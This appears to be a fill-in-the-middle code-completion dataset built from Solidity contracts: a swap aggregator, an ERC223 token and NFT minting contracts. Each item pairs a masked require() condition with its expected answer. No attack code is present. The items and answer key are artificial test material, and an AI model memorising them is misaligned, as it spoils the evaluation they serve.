* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external returns(bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library TransferHelper {
function safeApprove(address token, address to, uint256 value) internal {
}
function safeTransfer(address token, address to, uint256 value) internal {
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
}
function safeTransferETH(address to, uint256 value) internal {
}
}
interface CustomExchange{
enum OrderType {EthForTokens, TokensForEth, TokensForTokens}
function getBestQuotation(uint orderType, address[] memory path, uint256 amountIn) external view returns (uint256);
function executeSwapping(uint orderType, address[] memory path, uint256 assetInOffered, uint256 assetOutExpected, address to, uint256 deadline) external payable returns(uint[] memory);
}
contract MainSwap is Ownable {
event Received(address, uint);
receive() external payable {
}
enum OrderType {EthForTokens, TokensForEth, TokensForTokens}
using SafeMath for uint256;
uint256 public fees = 1000000; // 6 decimal places added
mapping (uint=>address) public exchangeList;
mapping (address=>bool) public whitelistedToken;
uint public totalExchanges = 0;
constructor() {
}
function addExchange(address _exchangeAddress) external onlyOwner {
}
function updateExchange(address _exchangeAddress, uint _dexId) external onlyOwner {
}
function setWhiteListToken(address _tokenAddress, bool _flag) external onlyOwner {
}
function updateFees(uint256 _newFees) external onlyOwner {
}
function getFeesAmount(uint256 temp) internal view returns (uint256){
}
function getBestQuote(uint orderType, address[] memory path, uint256 amountIn) public view returns (uint, uint256) {
require(<FILL_ME>)
uint256 bestAmountOut = 0;
uint dexId = 0;
uint256 amountInFin = amountIn;
bool feeAfterSwap;
if(OrderType(orderType) == OrderType.EthForTokens){
amountInFin = amountIn.sub(getFeesAmount(amountIn));
}
if (OrderType(orderType) == OrderType.TokensForEth){
feeAfterSwap = true;
}
if (OrderType(orderType) == OrderType.TokensForTokens){
if(whitelistedToken[path[path.length-1]]){
feeAfterSwap = true;
}else{
amountInFin = amountIn.sub(getFeesAmount(amountIn));
}
}
for(uint i=0;i<totalExchanges;i++){
if(exchangeList[i] == address(0)){
continue;
}
CustomExchange ExInstance = CustomExchange(exchangeList[i]);
uint256 amountOut;
try
ExInstance.getBestQuotation(orderType, path,amountInFin) returns(uint256 _amountOut){
if(feeAfterSwap){
amountOut = _amountOut.sub(getFeesAmount(_amountOut));
}else{
amountOut = _amountOut;
}
if(bestAmountOut<amountOut){
bestAmountOut = amountOut;
dexId = i;
}
}catch{}
}
return (dexId, bestAmountOut);
}
function executeSwap(uint dexId, uint orderType, address[] memory path, uint256 assetInOffered, uint256 assetOutExpected, uint256 deadline) external payable{
}
function feesWithdraw(address payable _to) external onlyOwner{
}
}
| (orderType==0)||(orderType==1)||(orderType==2),"Invalid orderType" | 296,834 | (orderType==0)||(orderType==1)||(orderType==2) |
"Fee Transfer to Owner failed." | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract OwnableData {
// V1 - V5: OK
address public owner;
// V1 - V5: OK
address public pendingOwner;
}
contract Ownable is OwnableData {
// E1: OK
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
// F1 - F9: OK
// C1 - C21: OK
function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner {
}
// F1 - F9: OK
// C1 - C21: OK
function claimOwnership() public {
}
// M1 - M5: OK
// C1 - C21: OK
modifier onlyOwner() {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 amount) external returns(bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library TransferHelper {
function safeApprove(address token, address to, uint256 value) internal {
}
function safeTransfer(address token, address to, uint256 value) internal {
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
}
function safeTransferETH(address to, uint256 value) internal {
}
}
interface CustomExchange{
enum OrderType {EthForTokens, TokensForEth, TokensForTokens}
function getBestQuotation(uint orderType, address[] memory path, uint256 amountIn) external view returns (uint256);
function executeSwapping(uint orderType, address[] memory path, uint256 assetInOffered, uint256 assetOutExpected, address to, uint256 deadline) external payable returns(uint[] memory);
}
contract MainSwap is Ownable {
event Received(address, uint);
receive() external payable {
}
enum OrderType {EthForTokens, TokensForEth, TokensForTokens}
using SafeMath for uint256;
uint256 public fees = 1000000; // 6 decimal places added
mapping (uint=>address) public exchangeList;
mapping (address=>bool) public whitelistedToken;
uint public totalExchanges = 0;
constructor() {
}
function addExchange(address _exchangeAddress) external onlyOwner {
}
function updateExchange(address _exchangeAddress, uint _dexId) external onlyOwner {
}
function setWhiteListToken(address _tokenAddress, bool _flag) external onlyOwner {
}
function updateFees(uint256 _newFees) external onlyOwner {
}
function getFeesAmount(uint256 temp) internal view returns (uint256){
}
function getBestQuote(uint orderType, address[] memory path, uint256 amountIn) public view returns (uint, uint256) {
}
function executeSwap(uint dexId, uint orderType, address[] memory path, uint256 assetInOffered, uint256 assetOutExpected, uint256 deadline) external payable{
}
function feesWithdraw(address payable _to) external onlyOwner{
uint256 amount = (address(this)).balance;
require(<FILL_ME>)
}
}
| _to.send(amount),"Fee Transfer to Owner failed." | 296,834 | _to.send(amount) |
null | pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract SDT is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "Spicy dry tofu";
string internal symbol_ = "SDT";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 20210000e18;
uint256 public toGiveBase = 5e18;
uint256 public increaseBase = 5e17;
uint256 public OfficalHold = totalSupply_.mul(18).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=1300;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
}
modifier onlyOwner() {
}
modifier canTrans() {
}
modifier onlyWhitelist() {
}
function SDT (address _target) public {
}
// Function to access name of token .
function name() public view returns (string _name) {
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
}
function balanceOf(address _owner) public view returns (uint balance) {
}
function changeOwner(address newOwner) onlyOwner public {
}
function enableWhitelist(address[] addresses) onlyOwner public {
}
function disableWhitelist(address[] addresses) onlyOwner public {
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(<FILL_ME>)
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
}
function startDistribution() onlyOwner public returns (bool) {
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
}
function startEthGet() onlyOwner canDistr public returns (bool) {
}
function startTransfer() onlyOwner public returns (bool) {
}
function stopTransfer() onlyOwner public returns (bool) {
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
}
function () external payable {
}
function getTokens() payable canDistr onlyWhitelist public {
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
}
function withdraw(address receiveAddress) onlyOwner public {
}
function burn(uint256 _value) onlyOwner public {
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
}
}
| _amount[i]<=maxIncrease | 297,024 | _amount[i]<=maxIncrease |
"The mint quantity cannot exceed the maximum mint quantity: [4]" | // SPDX-License-Identifier: MIT
/*
___ ___ ___ ___ ___
( ) ( ) ( ) ( ) ( )
.---. | |_ | |_ .---. .--. | | ___ .--. .-.. .--. ___ .-. ___ .-. .-. .--. | |___ ___| |.-.
/ .-, ( __)( __) / .-, \/ \ | | ( )/ _ \ / \ / ( ) \( ) ' \ / \ | ( )( | / \
(__) ; || | | | (__) ; | .-. ;| | ' / . .' `. ;' .-, | .-. | ' .-. ;| .-. .-. | .-. ;| || | | || .-. |
.'` || | ___| | ___ .'` | |(___| |,' / | ' | || | . | | | | / (___| | | | | | |(___| || | | || | | |
/ .'| || |( | |( / .'| | | | . '. _\_`.(___| | | | |/ | | | | | | | | | | || | | || | | |
| / | || | | || | | | / | | | ___| | `. \( ). '. | | | | ' _.| | | | | | | | | ___| || | | || | | |
; | ; || ' | || ' | ; | ; | '( | | \ \| | `\ || | ' | .'.-| | | | | | | | '( | || | ; '| ' | |
' `-' |' `-' ;' `-' ' `-' ' `-' || | \ ; '._,' '| `-' ' `-' | | | | | | | ' `-' || |' `-' /' `-' ;
`.__.'_. `.__. `.__.`.__.'_.`.__,'(___ ) (___'.___.' | \__.' `.__.(___) (___)(___)(___`.__,'(___)'.__.' `.__.
| |
(___)
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./utils/SpermStrings.sol";
contract AttackSpermClub is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public innerSaleIsActive = false;
uint8 public saleStage = 0;
uint256 public constant MAX_SUPPLY = 5000;
uint256 public constant PRE_SUPPLY = 1000;
uint256 public constant MAX_PUBLIC_MINT = 4;
uint256 public constant PRICE_PER_TOKEN = 0.01 ether;
mapping(address => uint8) private _allowList;
mapping(address=> uint8) private _mintList;
string private _baseURIStr;
string private _contractURIStr;
constructor() ERC721("AttackSpermsClub", "ASP") {
}
//#Switch For Owenr#
//set Sale Stage
function setSaleStage(uint8 _saleStage) external onlyOwner{
}
// Set Inner Sale
function setInnerSaleState(bool _innerSaleIsActive) external onlyOwner {
}
//Set Public Sale
function setPublicSaleState(bool newState) public onlyOwner {
}
//Set White List
function setWhiteSaleList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
}
//Get Address's Can Mint Count
function numAvailableToMint(address addr) external view returns (uint8) {
}
// mint NFT
function mint(uint8 numberOfTokens) external payable{
uint256 ts = totalSupply();
uint8 mintCount = _mintList[msg.sender];
require(saleStage>0, "Sale Is Not Ready!");
require(saleStage<4, "All Sperm NFT Token has been sold out!");
require(ts + numberOfTokens <= MAX_SUPPLY, "The mint quantity has exceeded the issuance limit");
require(<FILL_ME>)
if(saleStage == 1)//inner sale
{
require(innerSaleIsActive, "Inner Sale is not active");
// require(numberOfTokens <= _allowList[msg.sender], "You donot have enough mint quantity");
// _allowList[msg.sender] -= numberOfTokens;
require(ts + numberOfTokens <= PRE_SUPPLY,"The mint quantity has exceeded the pre-sale limit");
_mintList[msg.sender] += numberOfTokens;
for (uint256 i = 1; i <= numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
else if(saleStage == 2)//public sale
{
require(saleIsActive, "The public sale has not yet begun");
require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "You need to pay enough eth");
_mintList[msg.sender] += numberOfTokens;
for (uint256 i = 1; i <= numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
ts = totalSupply();
if(ts==MAX_SUPPLY)
{
saleStage = 3;
}
}
// return contractURI
function contractURI() public view returns (string memory) {
}
//set ContractURI
function setContractURI(string memory contractURI_) external onlyOwner() {
}
//fetch tokenURI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
//set baseURI
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
//fetch baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//mint for owner
function reserve(uint256 n) public onlyOwner {
}
//withdraw
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| mintCount+numberOfTokens<=MAX_PUBLIC_MINT,"The mint quantity cannot exceed the maximum mint quantity: [4]" | 297,098 | mintCount+numberOfTokens<=MAX_PUBLIC_MINT |
"The mint quantity has exceeded the pre-sale limit" | // SPDX-License-Identifier: MIT
/*
___ ___ ___ ___ ___
( ) ( ) ( ) ( ) ( )
.---. | |_ | |_ .---. .--. | | ___ .--. .-.. .--. ___ .-. ___ .-. .-. .--. | |___ ___| |.-.
/ .-, ( __)( __) / .-, \/ \ | | ( )/ _ \ / \ / ( ) \( ) ' \ / \ | ( )( | / \
(__) ; || | | | (__) ; | .-. ;| | ' / . .' `. ;' .-, | .-. | ' .-. ;| .-. .-. | .-. ;| || | | || .-. |
.'` || | ___| | ___ .'` | |(___| |,' / | ' | || | . | | | | / (___| | | | | | |(___| || | | || | | |
/ .'| || |( | |( / .'| | | | . '. _\_`.(___| | | | |/ | | | | | | | | | | || | | || | | |
| / | || | | || | | | / | | | ___| | `. \( ). '. | | | | ' _.| | | | | | | | | ___| || | | || | | |
; | ; || ' | || ' | ; | ; | '( | | \ \| | `\ || | ' | .'.-| | | | | | | | '( | || | ; '| ' | |
' `-' |' `-' ;' `-' ' `-' ' `-' || | \ ; '._,' '| `-' ' `-' | | | | | | | ' `-' || |' `-' /' `-' ;
`.__.'_. `.__. `.__.`.__.'_.`.__,'(___ ) (___'.___.' | \__.' `.__.(___) (___)(___)(___`.__,'(___)'.__.' `.__.
| |
(___)
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./utils/SpermStrings.sol";
contract AttackSpermClub is ERC721, ERC721Enumerable, Ownable {
bool public saleIsActive = false;
bool public innerSaleIsActive = false;
uint8 public saleStage = 0;
uint256 public constant MAX_SUPPLY = 5000;
uint256 public constant PRE_SUPPLY = 1000;
uint256 public constant MAX_PUBLIC_MINT = 4;
uint256 public constant PRICE_PER_TOKEN = 0.01 ether;
mapping(address => uint8) private _allowList;
mapping(address=> uint8) private _mintList;
string private _baseURIStr;
string private _contractURIStr;
constructor() ERC721("AttackSpermsClub", "ASP") {
}
//#Switch For Owenr#
//set Sale Stage
function setSaleStage(uint8 _saleStage) external onlyOwner{
}
// Set Inner Sale
function setInnerSaleState(bool _innerSaleIsActive) external onlyOwner {
}
//Set Public Sale
function setPublicSaleState(bool newState) public onlyOwner {
}
//Set White List
function setWhiteSaleList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner {
}
//Get Address's Can Mint Count
function numAvailableToMint(address addr) external view returns (uint8) {
}
// mint NFT
function mint(uint8 numberOfTokens) external payable{
uint256 ts = totalSupply();
uint8 mintCount = _mintList[msg.sender];
require(saleStage>0, "Sale Is Not Ready!");
require(saleStage<4, "All Sperm NFT Token has been sold out!");
require(ts + numberOfTokens <= MAX_SUPPLY, "The mint quantity has exceeded the issuance limit");
require(mintCount + numberOfTokens <= MAX_PUBLIC_MINT, "The mint quantity cannot exceed the maximum mint quantity: [4]");
if(saleStage == 1)//inner sale
{
require(innerSaleIsActive, "Inner Sale is not active");
// require(numberOfTokens <= _allowList[msg.sender], "You donot have enough mint quantity");
// _allowList[msg.sender] -= numberOfTokens;
require(<FILL_ME>)
_mintList[msg.sender] += numberOfTokens;
for (uint256 i = 1; i <= numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
else if(saleStage == 2)//public sale
{
require(saleIsActive, "The public sale has not yet begun");
require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "You need to pay enough eth");
_mintList[msg.sender] += numberOfTokens;
for (uint256 i = 1; i <= numberOfTokens; i++) {
_safeMint(msg.sender, ts + i);
}
}
ts = totalSupply();
if(ts==MAX_SUPPLY)
{
saleStage = 3;
}
}
// return contractURI
function contractURI() public view returns (string memory) {
}
//set ContractURI
function setContractURI(string memory contractURI_) external onlyOwner() {
}
//fetch tokenURI
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
//set baseURI
function setBaseURI(string memory baseURI_) external onlyOwner() {
}
//fetch baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
//mint for owner
function reserve(uint256 n) public onlyOwner {
}
//withdraw
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| ts+numberOfTokens<=PRE_SUPPLY,"The mint quantity has exceeded the pre-sale limit" | 297,098 | ts+numberOfTokens<=PRE_SUPPLY |
"MESSAGE_INVALID" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
contract FamousApeMovieClub is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public constant MAXSUPPLY = 5555;
uint256 public constant MAX_SELF_MINT = 10;
address private signerAddress = 0x454359b0ba79eEC5331dE58077AF2B2b2576639F;
address public mainAddress = 0x29Be76B28B5E1BcEfd2A04428417b99f2e402960;
string public baseURI;
enum WorkflowStatus {
Before,
Presale,
Sale,
SoldOut
}
WorkflowStatus public workflow;
constructor(
string memory _initBaseURI
) ERC721("FamousApeMovieClub", "FAMC") {
}
//GETTERS
function publicSaleLimit() public pure returns (uint256) {
}
function getSaleStatus() public view returns (WorkflowStatus) {
}
function hashMessage(address sender) private pure returns (bytes32) {
}
function isValidData(bytes32 message,bytes memory sig) private
view returns (bool) {
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
}
function presaleMint(bytes32 messageHash, bytes calldata signature, uint256 ammount)
external
payable
nonReentrant
{
uint256 price = 0.08 ether;
require(workflow == WorkflowStatus.Presale, "FamousApe: Presale is not started yet!");
require(ammount <= 10, "FamousApe: Presale mint is one token only.");
require(msg.value >= price * ammount, "INVALID_PRICE");
require(<FILL_ME>)
require(
isValidData(messageHash, signature),
"SIGNATURE_VALIDATION_FAILED"
);
uint256 initial = 0;
for (uint256 i = initial; i < ammount; i++) {
_safeMint(msg.sender, totalSupply());
}
}
function publicSaleMint(uint256 ammount) public payable nonReentrant {
}
// Before All.
function setUpPresale() external onlyOwner {
}
function setUpBeforesale() external onlyOwner {
}
function setUpSale() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setSignerAddress(address _newAddress) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function changeWallet(address _newwalladdress) external onlyOwner {
}
// FACTORY
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| hashMessage(msg.sender)==messageHash,"MESSAGE_INVALID" | 297,134 | hashMessage(msg.sender)==messageHash |
"SIGNATURE_VALIDATION_FAILED" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
contract FamousApeMovieClub is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public constant MAXSUPPLY = 5555;
uint256 public constant MAX_SELF_MINT = 10;
address private signerAddress = 0x454359b0ba79eEC5331dE58077AF2B2b2576639F;
address public mainAddress = 0x29Be76B28B5E1BcEfd2A04428417b99f2e402960;
string public baseURI;
enum WorkflowStatus {
Before,
Presale,
Sale,
SoldOut
}
WorkflowStatus public workflow;
constructor(
string memory _initBaseURI
) ERC721("FamousApeMovieClub", "FAMC") {
}
//GETTERS
function publicSaleLimit() public pure returns (uint256) {
}
function getSaleStatus() public view returns (WorkflowStatus) {
}
function hashMessage(address sender) private pure returns (bytes32) {
}
function isValidData(bytes32 message,bytes memory sig) private
view returns (bool) {
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
}
function presaleMint(bytes32 messageHash, bytes calldata signature, uint256 ammount)
external
payable
nonReentrant
{
uint256 price = 0.08 ether;
require(workflow == WorkflowStatus.Presale, "FamousApe: Presale is not started yet!");
require(ammount <= 10, "FamousApe: Presale mint is one token only.");
require(msg.value >= price * ammount, "INVALID_PRICE");
require(hashMessage(msg.sender) == messageHash, "MESSAGE_INVALID");
require(<FILL_ME>)
uint256 initial = 0;
for (uint256 i = initial; i < ammount; i++) {
_safeMint(msg.sender, totalSupply());
}
}
function publicSaleMint(uint256 ammount) public payable nonReentrant {
}
// Before All.
function setUpPresale() external onlyOwner {
}
